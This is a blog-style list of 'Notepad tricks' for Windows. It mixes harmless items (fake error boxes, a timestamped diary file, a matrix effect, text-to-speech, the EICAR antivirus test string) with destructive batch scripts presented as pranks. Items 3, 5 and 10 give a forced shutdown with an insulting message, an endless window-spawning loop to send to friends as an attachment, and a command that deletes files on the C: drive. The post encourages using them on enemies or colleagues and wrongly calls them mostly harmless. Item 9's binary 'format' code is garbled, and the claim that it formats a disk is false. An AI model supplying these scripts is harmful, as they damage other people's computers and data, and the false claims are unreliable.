Cool Notepad Tricks Everyone Should Know

Notepad is the simplest text editor provided by Microsoft.

It included in every version of Windows even in current Windows 10.

In general, Notepad is used for creating notes, writing plain text, and as a utility tool.

If you want to go crazy or for fun and creative you can do a lot more things with it.

It is used for making fake error messages and also we can use it for many short cut tricks like shutting down your system, using it as a diary etc.

It can be used to make a prank on others by moving their screens, popping windows on screen and so on.

Here are the,

Top 10 coolest notepad tricks

1. Create Fake Windows error with Notepad:

This is one of the best tricks of Notepad, which will I think, everyone should try it once. This is used to create fake error messages on the screen.

1. To Open the Notepad.
2. Then Type X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)
3. ReplaceMessage Here and Title Here with your Error Message and Error-Window Title
4. Save the file as to vbs.     

2. Force to shut down your windows

This trick will let you apply to the forced shutdown of your Windows in a single click.

Here are the steps to do it,

1. Open Notepad
2. Paste @echo first line.
3. Paste message * shutdown computer in the second line.
4. Paste shutdown -c “Sleep Tight” -s in the third line
5. Save your file with. BAT extension
6. Click your file and it will automatically shut down your Windows.

3. Create a notepad virus that shutdown your friend’s computer with a message

Open the Notepad and then Type:

@echo off

          Shutdown.exe –s –t 10

          cls

          msg * I Don’t Like You SHIT head!

Now Save the Program is to “shutdownvirus.bat”.

Whenever you open shutdownvirus.bat on your computer, your computer will Shut down with the message ‘I Don’t Like You SHIT Head’ on screen.

4. Create ON your own personal diary with time & date with Notepad

Here are the steps do it,

1. Open notepad file
2. Type.LOGin your first line.
3. Save the file to Log.txt
4. Now save the note as“personaldiary.txt”.

When you open your file you will see the present date and time being inserted automatically after that the LOG line.

5. Open 100s of notepad tabs and crash your friends pc or laptop

Here we go,

Open notepad, and type as below

@echo off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save this note to as the “Unlimitednotepad.bat” and send it to your friend as an attachment.

If they open the attachment then hundreds of popping windows will appear on their screen.

6. Test your anti-virus software effectiveness

Open Notepad and then type:

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save the notepad as to “virus.exe” on your PC and reopen it.

If the antivirus is installed on your PC it has to be good enough,  it will be trigger virus.exe.

If it doesn’t flag on the virus.exe then automatically put your PC on the scan.

Now check out whether your antivirus is able to flag it.

If it is not, it’s time to buy new antivirus software.

7. Create matrix raining code on your computer screen

Open notepad and copy the below text in your notepad file:

@echo off

Color 02

: start

echo %random% %random% %random% %random% %random%

%random% %random% %random% %random% %random%

goto start

Now save the notepad as “matrix .bat”.

Now open it and enjoy the matrix effects that appear on your screen.

8. Convert text into audio with notepad trick

Open your notepad then type,

Dim message, sapi message=InputBox(“Enter your text for conversion-Hacking-Techworm”,”Hover pc Hacks Text-to-Audio Converter”) Set sapi=Create Object(“sapi.spvoice”) Sapi.Speak message

Now save the notepad as “textaudio.vbs” on your PC.

boom your audio file is ready.

9. Format your whole hard disk with this notepad trick

This is a very exciting thing,

you can format any PC by executing the below with your text file.

011001100111011110111001001101101011000010111010000

100000011000110011101001011100

0010000000101111010100010010111101011000

now save it as the “Format.exe”

Give any name you desire, but keep the extension as.exe.

10. Write a simple undetectable virus code

This will also help to delete the content of your pc

In C: Drive. Open notepad copy and paste the below text.

@echo off

Del c:\*.* ly

Now save it as bomb.bat or any name you wish but save it as a .bat extension.

When you double-click and open this file,

it will start deleting the contents of your C:

A cool trick right!   🙂

Try these tricks on your enemy’s or colleges at work,

But be careful while doing

These tricks are working and are mostly not harmful to your PC just to prank someone with these tricks.